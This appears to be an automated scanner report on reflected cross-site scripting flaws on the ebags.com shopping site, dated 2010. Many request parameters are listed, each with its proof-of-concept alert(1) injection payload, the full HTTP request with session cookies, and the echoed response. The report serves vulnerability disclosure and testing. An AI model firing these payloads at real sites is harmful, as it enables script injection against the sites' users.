Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /product/case-logic/sony-psp-game-case/120830?productid=1312640&sourceID=BECOME01$couponid=4095982293fa1"-alert(1)-"0e3d8adb254 HTTP/1.1 Host: www.ebags.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the testimonialsortlink request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fb05f"-alert(1)-"7d07bd6c104 was submitted in the testimonialsortlink parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /product/case-logic/sony-psp-game-case/120830?productid=1312640&sourceID=BECOME01$couponid=40959822&testimonialsortlink=newestfb05f"-alert(1)-"7d07bd6c104 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:05:39 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:05:39 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76671
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h ...[SNIP]... SkuId").get(0).value=skuid;$("#hfComparisonReturnUrl").get(0).value="http://www.ebags.com:80/product/case-logic/sony-psp-game-case/120830?&sourceID=BECOME01$couponid=40959822&testimonialsortlink=newestfb05f"-alert(1)-"7d07bd6c104productid="+skuid;});(function($,eBags){var txtPostalCode=$("#txtPostalCode"),divEddResult=$("#divEddResult"),divEddError=$("#divEddError"),divEddProcessing=$("#divEddProcessing") doneProcessing=false, ...[SNIP]...
The value of the modelid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f282"><script>alert(1)</script>829a140d05b was submitted in the modelid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /products/index.cfm?fuseaction=more_testimony&modelid=1208302f282"><script>alert(1)</script>829a140d05b&min_testimonial=1&max_testimonial=3&testimonialsortlink=newest&ProdDetail_Link=Testimonials HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:18:19 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:18:19 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 42740
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/products/index.cfm?fuseaction=more_testimony&modelid=1208302f282"><script>alert(1)</script>829a140d05b&min_testimonial=1&max_testimonial=3&testimonialsortlink=newest&ProdDetail_Link=Testimonials&quicksignlink=pageend"> ...[SNIP]...
The value of the productid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df556"-alert(1)-"271370c27cf was submitted in the productid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /products/index.cfm?modelid=120830&productid=1312640df556"-alert(1)-"271370c27cf&sourceid=become01$couponid=40959822&quicksignlink=pageend HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:18:30 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID; expires=Sun, 02-Jan-2011 14:18:30 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76737
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h ...[SNIP]... ointsPotentialFormatted);$("#hfComparisonChartSkuId").get(0).value=skuid;$("#hfComparisonReturnUrl").get(0).value="http://www.ebags.com:80/product/case-logic/sony-psp-game-case/120830?productid=1312640df556"-alert(1)-"271370c27cf&sourceid=become01$couponid&quicksignlink=pageendproductid="+skuid;});(function($,eBags){var txtPostalCode=$("#txtPostalCode"),divEddResult=$("#divEddResult"),divEddError=$("#divEddError"),divEddProces ...[SNIP]...
The value of the quicksignlink request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66c59"-alert(1)-"b92aab12d9e was submitted in the quicksignlink parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /products/index.cfm?modelid=120830&productid=1312640&sourceid=become01$couponid=40959822&quicksignlink=pageend66c59"-alert(1)-"b92aab12d9e HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:19:52 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID; expires=Sun, 02-Jan-2011 14:19:52 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76670
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h ...[SNIP]... omparisonChartSkuId").get(0).value=skuid;$("#hfComparisonReturnUrl").get(0).value="http://www.ebags.com:80/product/case-logic/sony-psp-game-case/120830?&sourceid=become01$couponid&quicksignlink=pageend66c59"-alert(1)-"b92aab12d9eproductid="+skuid;});(function($,eBags){var txtPostalCode=$("#txtPostalCode"),divEddResult=$("#divEddResult"),divEddError=$("#divEddError"),divEddProcessing=$("#divEddProcessing") doneProcessing=false, ...[SNIP]...
The value of the sourceid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6b45c"-alert(1)-"c334fb69c0b was submitted in the sourceid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /products/index.cfm?modelid=120830&productid=1312640&sourceid=6b45c"-alert(1)-"c334fb69c0b&quicksignlink=pageend HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:19:01 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=6B45C%2DALERT%281%29%2DC334FB69C0B; expires=Sun, 02-Jan-2011 14:19:01 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h ...[SNIP]... ewardsPointsPotentialFormatted);$("#hfComparisonChartSkuId").get(0).value=skuid;$("#hfComparisonReturnUrl").get(0).value="http://www.ebags.com:80/product/case-logic/sony-psp-game-case/120830?&sourceid=6b45c"-alert(1)-"c334fb69c0b&quicksignlink=pageendproductid="+skuid;});(function($,eBags){var txtPostalCode=$("#txtPostalCode"),divEddResult=$("#divEddResult"),divEddError=$("#divEddError"),divEddProcessing=$("#divEddProcessing") ...[SNIP]...
The value of the fuseaction request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1662e"><script>alert(1)</script>ec126fb878a was submitted in the fuseaction parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /rewards/index.cfm?fuseaction=signup1662e"><script>alert(1)</script>ec126fb878a HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:10 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:04:10 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 41844
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/rewards/index.cfm?fuseaction=signup1662e"><script>alert(1)</script>ec126fb878a&quicksignlink=pageend"> ...[SNIP]...
1.19. http://www.ebags.com/rewards/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/rewards/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fcea"><script>alert(1)</script>afebb6ca52d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /rewards/index.cfm?fuseaction=signup&2fcea"><script>alert(1)</script>afebb6ca52d=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:04:18 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:04:18 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 43617
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/rewards/index.cfm?fuseaction=signup&2fcea"><script>alert(1)</script>afebb6ca52d=1&quicksignlink=pageend"> ...[SNIP]...
The value of the CurrentTime request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e128e"><script>alert(1)</script>f1c52c95efe was submitted in the CurrentTime parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shoppingcart/index.cfm?FuseAction=viewcart&CurrentTime=%7Bts%20%272010%2D12%2D26%2006%3A55%3A59%27%7De128e"><script>alert(1)</script>f1c52c95efe&requesttimeout=2000 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 64284
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1 ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/shoppingcart/index.cfm?FuseAction=viewcart&CurrentTime=%7Bts%20%272010%2D12%2D26%2006%3A55%3A59%27%7De128e"><script>alert(1)</script>f1c52c95efe&requesttimeout=2000&quicksignlink=pageend"> ...[SNIP]...
The value of the itemAdded request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab4aa"><script>alert(1)</script>2ba5ea7583c was submitted in the itemAdded parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shoppingcart/index.cfm?FuseAction=viewcart&CurrentTime=12%2f26%2f2010+6%3a55%3a59+AM&requesttimeout=9000&itemAdded=trueab4aa"><script>alert(1)</script>2ba5ea7583c HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 64276
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1 ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/shoppingcart/index.cfm?FuseAction=viewcart&CurrentTime=12%2f26%2f2010+6%3a55%3a59+AM&requesttimeout=9000&itemAdded=trueab4aa"><script>alert(1)</script>2ba5ea7583c&quicksignlink=pageend"> ...[SNIP]...
1.22. http://www.ebags.com/shoppingcart/index.cfm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.ebags.com
Path:
/shoppingcart/index.cfm
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5bc9a"><script>alert(1)</script>8aebec06550 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /shoppingcart/index.cfm?5bc9a"><script>alert(1)</script>8aebec06550=1 HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:37 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:37 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 64074
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1 ...[SNIP]... <input type="Hidden" name="destination" value="http://www.ebags.com/shoppingcart/index.cfm?5bc9a"><script>alert(1)</script>8aebec06550=1&quicksignlink=pageend"> ...[SNIP]...
The value of the requesttimeout request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67a7a"><script>alert(1)</script>17ddeba4e9b was submitted in the requesttimeout parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
